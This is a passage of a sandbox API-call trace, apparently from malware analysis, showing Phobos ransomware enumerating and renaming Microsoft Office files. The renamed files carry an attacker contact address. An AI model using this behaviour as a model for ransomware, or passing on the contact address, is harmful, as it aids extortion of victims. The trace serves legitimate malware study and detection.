(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bibliography\\bibform.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\BIBFORM.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bibliography\\bibform.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.485] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BW.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bw.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.485] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3450) returned 1 [0155.485] CloseHandle (hObject=0x528) returned 1 [0155.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BW.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bw.css")) returned 0x220 [0155.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BW.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bw.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\BW.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bw.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.486] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\COFFEE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\coffee.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.487] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3450) returned 1 [0155.487] CloseHandle (hObject=0x528) returned 1 [0155.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\COFFEE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\coffee.css")) returned 0x220 [0155.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\COFFEE.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\coffee.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\COFFEE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\coffee.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.487] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CollectSignatures_Init.xsn" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\collectsignatures_init.xsn"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.488] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=16094) returned 1 [0155.488] CloseHandle (hObject=0x528) returned 1 [0155.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CollectSignatures_Init.xsn" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\collectsignatures_init.xsn")) returned 0x220 [0155.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CollectSignatures_Init.xsn.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\collectsignatures_init.xsn.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CollectSignatures_Init.xsn" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\collectsignatures_init.xsn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.488] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CollectSignatures_Sign.xsn" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\collectsignatures_sign.xsn"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.489] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=16411) returned 1 [0155.489] CloseHandle (hObject=0x528) returned 1 [0155.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CollectSignatures_Sign.xsn" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\collectsignatures_sign.xsn")) returned 0x220 [0155.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CollectSignatures_Sign.xsn.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\collectsignatures_sign.xsn.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CollectSignatures_Sign.xsn" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\collectsignatures_sign.xsn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.489] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ct_roots.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.491] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6069) returned 1 [0155.491] CloseHandle (hObject=0x528) returned 1 [0155.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ct_roots.xml")) returned 0x220 [0155.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ct_roots.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ct_roots.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.491] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+Connect to New Data Source.odc" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\+connect to new data source.odc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.493] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=190) returned 1 [0155.493] CloseHandle (hObject=0x528) returned 1 [0155.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+Connect to New Data Source.odc" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\+connect to new data source.odc")) returned 0x220 [0155.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+Connect to New Data Source.odc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\+connect to new data source.odc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+Connect to New Data Source.odc" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\+connect to new data source.odc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.493] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+NewSQLServerConnection.odc" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\+newsqlserverconnection.odc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.494] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=196) returned 1 [0155.494] CloseHandle (hObject=0x528) returned 1 [0155.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+NewSQLServerConnection.odc" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\+newsqlserverconnection.odc")) returned 0x220 [0155.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+NewSQLServerConnection.odc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\+newsqlserverconnection.odc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\+NewSQLServerConnection.odc" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\+newsqlserverconnection.odc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.494] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\DESKTOP.INI" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.495] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=70) returned 1 [0155.495] CloseHandle (hObject=0x528) returned 1 [0155.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\DESKTOP.INI" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\desktop.ini")) returned 0x220 [0155.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\DESKTOP.INI.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\desktop.ini.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\DESKTOP.INI" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.496] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dbsample.mdb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.496] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=507904) returned 1 [0155.496] CloseHandle (hObject=0x528) returned 1 [0155.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dbsample.mdb")) returned 0x220 [0155.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dbsample.mdb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dbsample.mdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.497] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DEFAULT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\default.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.497] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3450) returned 1 [0155.497] CloseHandle (hObject=0x528) returned 1 [0155.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DEFAULT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\default.css")) returned 0x220 [0155.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DEFAULT.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\default.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DEFAULT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\default.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.498] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.498] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EADOCUMENTAPPROVAL_INIT.XSN" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\eadocumentapproval_init.xsn"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.498] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=16815) returned 1 [0155.499] CloseHandle (hObject=0x528) returned 1 [0155.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EADOCUMENTAPPROVAL_INIT.XSN" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\eadocumentapproval_init.xsn")) returned 0x220 [0155.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EADOCUMENTAPPROVAL_INIT.XSN.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\eadocumentapproval_init.xsn.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EADOCUMENTAPPROVAL_INIT.XSN" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\eadocumentapproval_init.xsn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.499] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\eadocumentapproval_review.xsn"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.499] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=20737) returned 1 [0155.499] CloseHandle (hObject=0x528) returned 1 [0155.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\eadocumentapproval_review.xsn")) returned 0x220 [0155.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\eadocumentapproval_review.xsn.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\eadocumentapproval_review.xsn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.500] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\exptoows.xla"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.500] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=105984) returned 1 [0155.500] CloseHandle (hObject=0x528) returned 1 [0155.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\exptoows.xla")) returned 0x220 [0155.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\exptoows.xla.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.501] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\exptoows.xla"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.501] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.501] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FOREST.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\forest.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.501] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3450) returned 1 [0155.501] CloseHandle (hObject=0x528) returned 1 [0155.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FOREST.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\forest.css")) returned 0x220 [0155.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FOREST.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\forest.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FOREST.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\forest.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.502] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.502] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3450) returned 1 [0155.502] CloseHandle (hObject=0x528) returned 1 [0155.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.css")) returned 0x220 [0155.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\gantt.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.689] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlex.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.690] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2046328) returned 1 [0155.690] CloseHandle (hObject=0x574) returned 1 [0155.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlex.dat")) returned 0x220 [0155.690] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlex.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlex.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0155.690] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlex.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlex.dat")) returned 0 [0155.690] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlts.dat"), 